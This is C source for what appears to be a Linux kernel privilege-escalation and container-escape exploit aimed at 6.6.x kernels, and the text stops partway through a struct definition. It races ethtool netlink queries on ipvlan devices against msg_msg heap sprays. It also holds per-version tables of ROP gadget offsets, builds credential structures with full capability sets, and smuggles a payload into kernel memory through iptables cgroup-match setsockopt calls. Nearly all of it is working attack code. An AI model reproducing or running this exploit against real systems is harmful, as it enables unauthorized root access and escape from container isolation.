#define _GNU_SOURCE

#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/netlink.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_link.h>
#include <linux/if_vlan.h>
#include <linux/sockios.h>
#include <linux/in6.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <linux/ethtool.h>
#include <net/if_arp.h>
#include <sched.h>
#include <setjmp.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/resource.h>
#include <sys/uio.h>
#include <sys/epoll.h>
#include <sys/utsname.h>
#include <linux/capability.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/tcp.h>
#include <linux/ethtool_netlink.h>
#include <linux/netdevice.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netfilter/xt_cgroup.h>
#include <sys/msg.h>
#include <stdatomic.h>

#define COLOR_BOLD	"\033[1m"
#define COLOR_DEFAULT 	"\033[0m"
#define COLOR_RED 	"\033[31m"
#define COLOR_GREEN 	"\033[32m"
#define COLOR_YELLOW 	"\033[33m"
#define COLOR_BLUE 	"\033[34m"
#define COLOR_MAGE 	"\033[35m"
#define COLOR_CYAN 	"\033[36m"

#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logb(fmt, ...) dprintf(2, COLOR_BLUE "[O] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logm(fmt, ...) dprintf(2, COLOR_MAGE "[U] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logc(fmt, ...) dprintf(2, COLOR_CYAN "[W] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
	do {                                   \
		loge(fmt, ##__VA_ARGS__);          \
		loge("Exit at line %d", __LINE__); \
		exit(1);                           \
	} while (0)

#ifdef DEBUG
#define KASLR_FIXED
#endif

#define	ESCAPE_CONTAINER

#define ethtool_genl_family_id (20)
#define barrier_get_link_ksettings_count (0x100)
#define trigger_get_link_ksettings_count (0x400)

struct nlmsg {
	char* pos;
	int nesting;
	struct nlattr* nested[8];
	char buf[4096];
};

struct msg_msg {
	uint64_t m_list_next;
	uint64_t m_list_prev;
	uint64_t m_type;
	uint64_t m_ts;
	uint64_t next;
	uint64_t security;
};

#define MSG_MSG_SIZE 		(sizeof(struct msg_msg))
#define MSG_HEARER_OFFSET 	(MSG_MSG_SIZE + 0x8)
#define MSG_MSGSEG_SIZE 	(sizeof(struct msg_msgseg))
#define NUM_MSQIDS 		(0x3000)
#define CLSOPS_SIZE 		(0x100)
#define PRIMARY_SIZE 		(0x1000)
#define MTYPE_CLSOPS 		(0x1337)
#define MTYPE_PRIMARY 		(0x41)
#define MSG_TAG 		(0xAAAAAAAA)

#ifndef __LINK_STATE_PRESENT
#define __LINK_STATE_PRESENT 1
#endif

#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2

typedef uint64_t u64;
typedef int64_t s64;
typedef __u32 u32;
typedef __s32 s32;
typedef __u16 u16;
typedef __s16 s16;
typedef __u8  u8;
typedef __s8  s8;

int msqid[NUM_MSQIDS];
char rop_buf[PRIMARY_SIZE - MSG_MSG_SIZE];

static struct nlmsg nlmsg;
int sync_pipe[2];
int race_pipe[2];
int prepare_root_pid = -1;

atomic_int * sync_ctrl = NULL;

#define SYNC_VALUE_ZERO 	(0)
#define SYNC_VALUE_INIT 	(1)
#define SYNC_HOLD_DEVS		(5)
#define SYNC_START_RACE		(6)
#define SYNC_RACE_SUCCES	(7)
#define SYNC_RACE_FAILED	(8)
#define SYNC_RACE_FINISH	(9)

pthread_barrier_t barrie_race_spray_msg;
pthread_barrier_t barrier_get_link_ksettings;
pthread_t newt_spray_msg;
pthread_t newt_get_link_ksettings[barrier_get_link_ksettings_count];

struct {
	long mtype;
	char cls_ops_buf[CLSOPS_SIZE - MSG_MSG_SIZE];
} cls_ops;

struct {
	long mtype;
	char rop_buf[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_buf;

struct {
	long mtype;
	char readbf[PRIMARY_SIZE - MSG_MSG_SIZE];
} red_buf;


static char ipvlanstr0[] = "ipvlan0\0";
static char vethvlanstr0[] = "veth_vlan0\0";
static char vethvlanstr1[] = "veth_vlan1\0";

void trigger_get_link_ksettings(int socketfd, const char *dev_name, int debug);
void build_rop_chain();
int bypass_kaslr(uint64_t base);

void unshare_setup(uid_t uid, gid_t gid)
{
	int temp;
	char edit[0x100];

	unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

	temp = open("/proc/self/setgroups", O_WRONLY);
	if(write(temp, "deny", strlen("deny")) < 0)
		loge("write setgroups");
	close(temp);

	temp = open("/proc/self/uid_map", O_WRONLY);
	snprintf(edit, sizeof(edit), "0 %d 1", uid);
	if(write(temp, edit, strlen(edit)) < 0)
		loge("write uid_map");
	close(temp);

	temp = open("/proc/self/gid_map", O_WRONLY);
	snprintf(edit, sizeof(edit), "0 %d 1", gid);
	if(write(temp, edit, strlen(edit)) < 0)
		loge("write gid_map");
	close(temp);

	return;
}

void hexprint(char *buffer, unsigned int bytes) 
{
	int dqwords = ((bytes + 0x10 - 1)&0xfffffff0) / 0x10;
	int qwords = dqwords * 2;
	for (int i = 0; i < qwords; i+=2) {
		printf("0x%04x: 0x%016llx 0x%016llx\n", (i * 0x8), ((unsigned long long*)buffer)[i], ((unsigned long long*)buffer)[i+1]);
	}
	puts("-----------------------------------------------");
	return;
}

void print_affinity()
{
	cpu_set_t mask;
	int ncpu, i;

	if (sched_getaffinity(getpid(), sizeof(cpu_set_t), &mask) < 0) {
		perror("[X] sched_getaffinity()");
		exit(1);
	}

	ncpu = sysconf(_SC_NPROCESSORS_ONLN);
	puts("[*] CPU affinity:");

	for (i = 0; i < ncpu; i++)
		printf(" └ Core #%d = %ld\n", i, CPU_ISSET(i, &mask));
}

void assign_to_core(int core_id, bool debug)
{
	cpu_set_t mask;
	pid_t pid;
	pid = getpid();

	if (debug)
		printf("[*] Assigning process %d to core %d\n", pid, core_id);

	CPU_ZERO(&mask);
	CPU_SET(core_id, &mask);
	if (sched_setaffinity(pid, sizeof(mask), &mask) < 0) {
		loge("[X] sched_setaffinity failed, pid: %d, cpu: %d", pid, core_id);
		exit(1);
	}
	
	if (debug)
		print_affinity();
}

static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size)
{
	memset(nlmsg, 0, sizeof(*nlmsg));
	struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
	hdr->nlmsg_type = typ;
	hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
	memcpy(hdr + 1, data, size);
	nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}

static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size)
{
	struct nlattr* attr = (struct nlattr*)nlmsg->pos;
	attr->nla_len = sizeof(*attr) + size;
	attr->nla_type = typ;
	if (size > 0)
	memcpy(attr + 1, data, size);
	nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}

static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
	struct nlattr* attr = (struct nlattr*)nlmsg->pos;
	attr->nla_type = typ;
	nlmsg->pos += sizeof(*attr);
	nlmsg->nested[nlmsg->nesting++] = attr;
}

static void netlink_done(struct nlmsg* nlmsg)
{
	struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
	attr->nla_len = nlmsg->pos - (char*)attr;
}

static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, const char* name)
{
	struct ifinfomsg hdr;
	memset(&hdr, 0, sizeof(hdr));
	netlink_init(nlmsg, RTM_NEWLINK, NLM_F_CREATE, &hdr, sizeof(hdr));
	if (name)
		netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
	netlink_nest(nlmsg, IFLA_LINKINFO);
	netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}

static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len, bool dofail)
{
	if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
		exit(1);
	struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
	hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
	struct sockaddr_nl addr;
	memset(&addr, 0, sizeof(addr));
	addr.nl_family = AF_NETLINK;
	ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
			(struct sockaddr*)&addr, sizeof(addr));
	if (n != (ssize_t)hdr->nlmsg_len) {
		if (dofail)
			exit(1);
		return -1;
	}
	n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
	if (reply_len)
		*reply_len = 0;
	if (n < 0) {
		if (dofail)
			exit(1);
		return -1;
	}
	if (n < (ssize_t)sizeof(struct nlmsghdr)) {
		errno = EINVAL;
		if (dofail)
			exit(1);
		return -1;
	}
	if (hdr->nlmsg_type == NLMSG_DONE)
		return 0;
	if (reply_len && hdr->nlmsg_type == reply_type) {
		*reply_len = n;
		return 0;
	}
	if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
		errno = EINVAL;
		if (dofail)
			exit(1);
		return -1;
	}
	if (hdr->nlmsg_type != NLMSG_ERROR) {
		errno = EINVAL;
		if (dofail)
			exit(1);
		return -1;
	}
	errno = -((struct nlmsgerr*)(hdr + 1))->error;
	return -errno;
}

static int netlink_send(struct nlmsg* nlmsg, int sock)
{
	return netlink_send_ext(nlmsg, sock, 0, NULL, true);
}

static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t mode, uint16_t flags)
{
	netlink_add_device_impl(nlmsg, "ipvlan", name);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
	netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int ifindex = if_nametoindex(link);
	netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
		logd("netlink: add %s type ipvlan link %s mode %d: %s\n", name, link, mode, strerror(errno));
	}
}

static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, const char* peer)
{
	netlink_add_device_impl(nlmsg, "veth", name);
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	netlink_nest(nlmsg, VETH_INFO_PEER);
	nlmsg->pos += sizeof(struct ifinfomsg);
	netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

static void netlink_del_veth(struct nlmsg* nlmsg, int sock, const char* name)
{
	struct ifinfomsg hdr;
	memset(&hdr, 0, sizeof(hdr));
	netlink_init(nlmsg, RTM_DELLINK, 0, &hdr, sizeof(hdr));
	if (name)
		netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
	netlink_nest(nlmsg, IFLA_LINKINFO);
	netlink_attr(nlmsg, IFLA_INFO_KIND, "veth", strlen("veth"));
	netlink_nest(nlmsg, IFLA_INFO_DATA);
	netlink_done(nlmsg);
	netlink_done(nlmsg);
	int err = netlink_send(nlmsg, sock);
	if (err < 0) {
	}
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp)
{
	*(long *)msgp = msgtyp;
	if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
		loge("msgsnd");
		return -1;
	}
	return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
	if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
		loge("msgrcv");
		return -1;
	}
	return 0;
}

void spray_padding_msg_msg()
{
	logd("Spraying padding messages ...\n");
	for (int i = 0; i < NUM_MSQIDS; i++) {
		if (write_msg(msqid[i], &cls_ops, sizeof(cls_ops), MTYPE_CLSOPS) < 0)
			loge("send padding msg_msg failed, %d", i);
	}
}

void * pthread_spray_msg()
{
	pthread_barrier_wait(&barrie_race_spray_msg);

	logd("Spraying primary messages ...\n");
	for (int i = 0; i < NUM_MSQIDS; i++) {
		if (write_msg(msqid[i], &msg_buf, sizeof(msg_buf), prepare_root_pid) < 0)
			loge("send msg_msg failed, %d", i);
	}
	logw("Spraying primary messages done");
	// exit(0);
	return NULL;
}

void free_spray_msg()
{
	logd("Cleanup primary messages\n");
	for (int i = 0; i < NUM_MSQIDS; i++) {
		logi("Read messages %d ...", i);
		if (read_msg(msqid[i], &red_buf, sizeof(red_buf), prepare_root_pid) < 0) {
			loge("read msg_msg failed, %d", i);
		}
	}
	logd("Cleanup primary messages done...\n");
}

void spray_msg_msg()
{
	int res;

	res = pthread_barrier_init(&barrie_race_spray_msg, NULL, 2);
	if (res != 0) {
		loge("Error init get_link_ksettings barrier, %s", strerror(res));
	}

	pthread_attr_t * tattr_spray_msg;
	cpu_set_t * core_spray_msg;

	core_spray_msg = malloc(sizeof(cpu_set_t));
	if (core_spray_msg == NULL) {
		loge("alloc cpu_set_t failed");
	}

	CPU_ZERO(core_spray_msg);
	CPU_SET(0, core_spray_msg);

	tattr_spray_msg = malloc(sizeof(pthread_attr_t));
	if (tattr_spray_msg == NULL) {
		loge("alloc tattr_spray_msg failed");
	}

	res = pthread_attr_init(tattr_spray_msg);
	if (res != 0) {
		loge("Error init attribute for spray msg_msg thread, %s", strerror(res));
	}

	res = pthread_attr_setaffinity_np(tattr_spray_msg, sizeof(cpu_set_t), core_spray_msg);
	if (res != 0) {
		loge("Error set attribute affinity for spray msg_msg thread, %s", strerror(res));
	}

	res = pthread_create(&newt_spray_msg, tattr_spray_msg, pthread_spray_msg, NULL);
	if (res != 0) {
		loge("Error create spray msg_msg thread, %s", strerror(res));
	}
}

struct args_get_link_ksettings {
	int id;
	int socket;
} args_get_link_ksettings;

void * pthread_get_link_ksettings(void *data)
{
	int i;
	struct args_get_link_ksettings * args = (struct args_get_link_ksettings * ) data;
	pthread_barrier_wait(&barrier_get_link_ksettings);

	// 0x100000
	for (i = 0; i < trigger_get_link_ksettings_count; i++) {
		if (atomic_load(sync_ctrl) == SYNC_RACE_FINISH) {
			break;
		}
		trigger_get_link_ksettings(args->socket, ipvlanstr0, 0);
	}
	return NULL;
}

void spray_get_link_ksettings(int numcnt, int socket)
{
	int res = pthread_barrier_init(&barrier_get_link_ksettings, NULL, numcnt + 1);
	if (res != 0) {
		loge("Error init get_link_ksettings barrier, %s", strerror(res));
	}

	struct args_get_link_ksettings * args_get_link_ksettings;

	logd("Spraying get_link_ksettings threads...");
	for (int i = 0; i < numcnt; i++) {
		args_get_link_ksettings = malloc(sizeof(struct args_get_link_ksettings));
		if (args_get_link_ksettings == NULL) {
			loge("alloc args_get_link_ksettings failed");
		}
		args_get_link_ksettings->id = i;
		args_get_link_ksettings->socket = socket;
		res = pthread_create(&newt_get_link_ksettings[i], NULL, pthread_get_link_ksettings, args_get_link_ksettings);
		if (res != 0) {
			loge("Error create get_link_ksettings thread, %s", strerror(res));
			break;
		}
	}
}

static int netlink_query_family_id_ethtool(struct nlmsg* nlmsg, int sock, const char* dev_name, bool dofail)
{
	struct genlmsghdr genlhdr;
	memset(&genlhdr, 0, sizeof(genlhdr));
	genlhdr.cmd = ETHTOOL_MSG_LINKINFO_GET;
	netlink_init(nlmsg, ethtool_genl_family_id, 0, &genlhdr, sizeof(genlhdr));
	netlink_nest(nlmsg, ETHTOOL_A_LINKINFO_HEADER | NLA_F_NESTED);
	netlink_attr(nlmsg, ETHTOOL_A_HEADER_DEV_NAME, dev_name, strnlen(dev_name, GENL_NAMSIZ - 1) + 1);
	netlink_done(nlmsg);

	int n = 0;
	int err = netlink_send_ext(nlmsg, sock, ethtool_genl_family_id, &n, dofail);
	if (err < 0) {
		return -1;
	}
	uint16_t id = 0;
	struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
						NLMSG_ALIGN(sizeof(genlhdr)));
	for (; (char*)attr < nlmsg->buf + n;
		attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
		if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
			id = *(uint16_t*)(attr + 1);
			break;
		}
	}
	if (!id) {
		errno = EINVAL;
		return -1;
	}
	recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
	return id;
}

void trigger_get_link_ksettings(int socketfd, const char *dev_name, int debug)
{
	static struct nlmsg ge_nlmsg;
	struct nlmsg nlmsg_tmp;

	memset(&ge_nlmsg, 0, sizeof(ge_nlmsg));
	memset(&nlmsg_tmp, 0, sizeof(nlmsg_tmp));
	
	if (debug)
		logd("trigger_get_link_ksettings");

	int res = netlink_query_family_id_ethtool(&nlmsg_tmp, socketfd, (char*)dev_name, false);
	if (res < 0 && debug) {
		loge("create genetlink failed");
	}
}

struct kernel_table
{
	// os release
	char* release;

	// functions and global vars
	uint64_t kernfs_pr_cont_buf_offset;
	uint64_t clk_change_rate_offset;
	uint64_t find_task_by_vpid_offset;
	uint64_t memcpy_offset;
	uint64_t get_task_cred_offset;
	uint64_t init_nsproxy_offset;
	uint64_t switch_task_namespaces_offset;
	uint64_t init_user_ns_offset;

	uint64_t dev_ethtool_ops_offset;
	uint64_t ethtool_get_link_ksettings_offset;
	uint64_t dev_state_offset;
	uint64_t cred_userns_offset;

	// kernel rop gadgets
	// 0xffffffff8115dcd0 <__enc_copy+128>: pop    rdi
	// 0xffffffff8115dcd1 <__enc_copy+129>: ret
	uint64_t pop_rdi_ret_offset;

	// 0xffffffff8110bbdf <optimize_nops+207>:      pop    rsi
	// 0xffffffff8110bbe0 <optimize_nops+208>:      jmp    0xffffffff82497e20 <__x86_return_thunk>

	// 0xffffffff811be922 <__do_sys_newuname+258>:  pop    rsi
	// 0xffffffff811be923 <__do_sys_newuname+259>:  jmp    0xffffffff82605040 <__x86_return_thunk>

	// 0xffffffff811d54a0 <__x64_sys_ptrace+224>:   pop    rsi
	// 0xffffffff811d54a1 <__x64_sys_ptrace+225>:   jmp    0xffffffff824817a0 <__x86_return_thunk>

	uint64_t pop_rsi_ret_offset;

	// 0xffffffff8129bb6d <crash_update_vmcoreinfo_safecopy+29>:    mov    rdi,rax
	// 0xffffffff8129bb70 <crash_update_vmcoreinfo_safecopy+32>:    mov    QWORD PTR [rip+0x3893899],rdi        # 0xffffffff84b2f410 <vmcoreinfo_data_safecopy>
	// 0xffffffff8129bb77 <crash_update_vmcoreinfo_safecopy+39>:    ret
	uint64_t mov_rdi_rax_ret_offset;

	// 0xffffffff8145136f <vfs_path_parent_lookup+31>:      pop    rdx
	// 0xffffffff81451370 <vfs_path_parent_lookup+32>:      jmp    0xffffffff82605040 <__x86_return_thunk>
	uint64_t pop_rdx_ret_offset;

	// 0xffffffff81b3351b <set_selection_kernel+187>:       push   rsi
	// 0xffffffff81b3351c <set_selection_kernel+188>:       jmp    QWORD PTR [rsi+0x39]
	uint64_t push_rsi_jmp_rsi_0x39_offset;

	// 0xffffffff810ebbb1 <xen_read_pmc+257>:       pop    rsp
	// 0xffffffff810ebbb2 <xen_read_pmc+258>:       jmp    0xffffffff82497e20 <__x86_return_thunk>
	uint64_t pop_rsp_ret_offset;

	// 0xffffffff81240bad <put_old_timex32+285>:    add    rsp,0x88
	// 0xffffffff81240bb4 <put_old_timex32+292>:    jmp    0xffffffff82605040 <__x86_return_thunk>
	uint64_t add_rsp_0x88_ret_offset;

	// 0xffffffff8260123e <common_interrupt_return+206>:    iretq
	uint64_t iretq_addr_offset;

	// 0xffffffff82601488 <paranoid_entry+152>:     swapgs
	// 0xffffffff8260148b <paranoid_entry+155>:     lfence
	// 0xffffffff8260148e <paranoid_entry+158>:     jmp    0xffffffff826014be <paranoid_entry+206>
	uint64_t swapgs_ret_addr_offset;

	// 0xffffffff81090144 <spte_to_child_pt+52>:    add    rax,rdi
	// 0xffffffff81090147 <spte_to_child_pt+55>:    jmp    0xffffffff82605040 <__x86_return_thunk>
	uint64_t add_rax_rdi_ret_offset;

	// 0xffffffff81a3c941 <nla_get_range_unsigned+113>:     mov    QWORD PTR [rax],rdx
	// 0xffffffff81a3c944 <nla_get_range_unsigned+116>:     ret
	uint64_t mov_mem_rax_rdx_ret_offset;
};


struct kernel_table kernels_offsets[] = {
#ifdef DEBUG
	// compiled-6.6.66
	{"6.6.66", 0x3b55e60, 0xb0dde0, 0x1f1130, 0x14a8e00, 0x1fd4a0, 0x2c748a0, 0x1fb740, 0x2c6db20, 0x200, 0x1c0, 0x38, 0x90, 0x15f8d0, 0x10c16f, 0x29d67d, 0x4c153f, 0xb5a17b, 0xec141, 0x27758d, 0x160123e, 0x1601488, 0x9cca4, 0xa63481},
#else	
	// lts-6.6.66
	{"6.6.66", 0x3b41e60, 0xb0e1e0, 0x1f1150, 0x1470e00, 0x1fd4c0, 0x2c748a0, 0x1fb760, 0x2c6db20, 0x200, 0x1c0, 0x38, 0x90, 0x15f8f0, 0x10c0ff, 0x29d74d, 0x4c16ef, 0xb5a58b, 0xec0d1, 0x27764d, 0x160123e, 0x1601488, 0x9cc64, 0xa63881},
	{"6.6.69", 0x3b41e60, 0xb0e670, 0x1f1100, 0x14705f0, 0x1fd470, 0x2c748a0, 0x1fb710, 0x2c6db20, 0x200, 0x1c0, 0x38, 0x90, 0x15f8b0, 0x1d54a0, 0x29d64d, 0x4c179f, 0xb5ad5b, 0xec171, 0x27755d, 0x160123e, 0x1601488, 0x9cbe4, 0xa63c41},
	{"6.6.71", 0x3b41e60,0xb0e830,0x1f10e0,0x1470c50,0x1fd450,0x2c748a0,0x1fb6f0,0x2c6db20,0x200,0x1c0,0x38,0x90,0x15f870,0x10c05f,0x29d65d,0x4c144f,0xb5af1b,0xec1a1,0x27755d,0x160123e,0x1601488,0x9cc14,0xa63dc1},
#endif
};

struct kernel_table* selected_kernel = NULL;
struct kernel_table* iter_kernel = NULL;

void select_kernel_table()
{
	struct utsname kernel_info;
	int retval;

	logd("Select kernel offset table");
	retval = uname(&kernel_info);
	if (retval != 0) {
		loge("Error uname, errno %s", strerror(errno));
	}

	logi("OS name -> %s", kernel_info.nodename);
	logi("Kernel version -> %s\n", kernel_info.release);

	for (int i = 0; i < sizeof(kernels_offsets) / sizeof(struct kernel_table); ++i) {
		iter_kernel = &kernels_offsets[i];
		if (strcmp(iter_kernel->release, kernel_info.release))
			continue;
		
		selected_kernel = iter_kernel;
		break;
	}

	if (selected_kernel == NULL) {
		loge("[-] Unknown kernel not supported");
		exit(-1);
	}
}

enum sandbox_error {
	SANDBOX_SUCCES,
	SANDBOX_ERROR_SOCKET,
	SANDBOX_ERROR_SETSOCKOPT
};

typedef struct sandbox_result {
	enum sandbox_error error;
	int                error_number;
} sandbox_result;

typedef struct targs_sender_kern_buff {
	int            size;
	uint8_t*       payload;
	sandbox_result result;
} targs_sender_kern_buff;

#ifndef SOL_IP
#define SOL_IP 0
#endif

int get_part_of_static_payload(uint8_t* dst, uint8_t* src, int index)
{
	int len = 0;
	for (;index > -1 && src[index] != 0; --index, ++len);

	if (len != 0) {
		memcpy(&dst[index + 1], &src[index + 1], len);
		++len;
	}
	else if (index > 0) {
		--index;
		++len;
	}

	if (index < 0)
		index = 0;
	else
		memset(dst, 0xd, index + 1);

	dst[index + len] = 0;
	return index;
}

const char* sandbox_str_error(enum sandbox_error error_number)
{
	switch (error_number) {
		case SANDBOX_SUCCES:
			return "SUCCES";
		case SANDBOX_ERROR_SOCKET:
			return "ERROR SOCKET";
		case SANDBOX_ERROR_SETSOCKOPT:
			return "ERROR SETSOCKOPT";
		default:
			return "UNKNOW";
	}
}

int thread_sender_kern_buff(void *data)
{
	int sock = 0;
	int length = 0;
	int ret = 0;
	int index = 0;

	uint16_t size_entry = sizeof(struct ipt_entry) + sizeof(struct xt_entry_match) 
				+ sizeof(struct xt_cgroup_info_v1) + sizeof(struct xt_standard_target);
	uint16_t target_offset = size_entry - sizeof(struct xt_standard_target);
	uint16_t target_size   = sizeof(struct xt_standard_target);
	uint16_t match_size    = sizeof(struct xt_entry_match) + sizeof(struct xt_cgroup_info_v1);

	uint8_t tmp_buffer[4096];

	struct xt_counters counter = {0,0};
	struct {
		struct ipt_replace replace;
		struct ipt_entry entry;
		struct xt_entry_match entry_math;
		struct xt_cgroup_info_v1 cgroup_info;
		struct xt_standard_target entry_target;
	} payload_xgcroup;

	payload_xgcroup.replace.num_counters = 1;
	payload_xgcroup.replace.num_entries = 1;
	payload_xgcroup.replace.counters = &counter;
	payload_xgcroup.replace.size = size_entry;
	payload_xgcroup.replace.valid_hooks = 0;

	payload_xgcroup.entry.target_offset = target_offset;
	payload_xgcroup.entry.next_offset = size_entry;
	payload_xgcroup.entry.ip.flags = 0;
	payload_xgcroup.entry.ip.invflags = 0;

	payload_xgcroup.entry_math.u.user.revision = 1;
	payload_xgcroup.entry_math.u.match_size = match_size;
	sprintf(payload_xgcroup.entry_math.u.user.name, "cgroup");

	payload_xgcroup.entry_target.target.u.target_size = target_size;
	payload_xgcroup.entry_target.verdict = 1;

	payload_xgcroup.cgroup_info.invert_path = 1;
	payload_xgcroup.cgroup_info.invert_classid = 1;
	payload_xgcroup.cgroup_info.has_classid = 0;
	payload_xgcroup.cgroup_info.has_path = 1;

	targs_sender_kern_buff* args = (targs_sender_kern_buff*) data;
	index = args->size;
	args->result.error = 0;
	args->result.error_number = 0;

	if (index < 1)
		return 0;

	if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		args->result.error = SANDBOX_ERROR_SOCKET;
		args->result.error_number = errno;
		return -1;
	}

	do {
		index = get_part_of_static_payload(tmp_buffer, args->payload, index);
		length = strlen((char*) tmp_buffer);
		// logd("copy tmp_buffer from payload, len = %d", length);
		// hexprint(tmp_buffer, length);
		memcpy(&payload_xgcroup.cgroup_info.path, tmp_buffer, length + 1);
		ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, &payload_xgcroup, size_entry + sizeof(struct ipt_replace));

		if (ret < 0 && errno != EINVAL) {
			printf("Error setsockopt, %s", strerror(errno));
			args->result.error = SANDBOX_ERROR_SETSOCKOPT;
			args->result.error_number = errno;
			return -1;
		}
	} while (index > 0);

	return 0;
}

#define offsetofs(st, m) \
	((size_t)((char *)&((st *)0)->m - (char *)0))

struct hlist_node {
	uint64_t next, pprev;
};

struct hlist_head {
	uint64_t first;
};

typedef struct {
	uid_t val;
} kuid_t;


typedef struct {
	gid_t val;
} kgid_t;

typedef struct { uint64_t val; } kernel_cap_t;

#define 	ULL(x)		(_ULL(x))
#define 	BIT_ULL(nr)	(ULL(1) << (nr))
#define 	CAP_VALID_MASK	(BIT_ULL(CAP_LAST_CAP+1)-1)
kernel_cap_t 	CAP_FULL_SET =	{CAP_VALID_MASK};
#define FLAG_UNCONFINED		(2)

struct cred_compact {
	uint64_t     	usage;
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	uint64_t	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
};

struct clk_ops {
	int *prepare;
	uint64_t *unprepare;
	int *is_prepared;
	uint64_t *unprepare_unused;
	int *enable;
	uint64_t *disable;
	int *is_enabled;
	uint64_t *disable_unused;
	int *save_context;
	uint64_t *restore_context;
	uint64_t *recalc_rate;	// 0x50
	long * round_rate;
	int *determine_rate;
	int *set_parent;
	uint8_t *get_parent;
	int *set_rate;		// 0x78
	int *set_rate_and_parent;
	unsigned long	*recalc_accuracy;
	int *get_phase;
	int *set_phase;
	int *get_duty_cycle;
	int *set_duty_cycle;
	int *init;
	uint64_t *terminate;
	uint64_t *debug_init;
};

struct clk_core {
	uint64_t 		name;
	uint64_t 		ops;
	uint64_t 		hw;
	uint64_t 		owner;
	uint64_t 		dev;
	struct hlist_node	rpm_node;
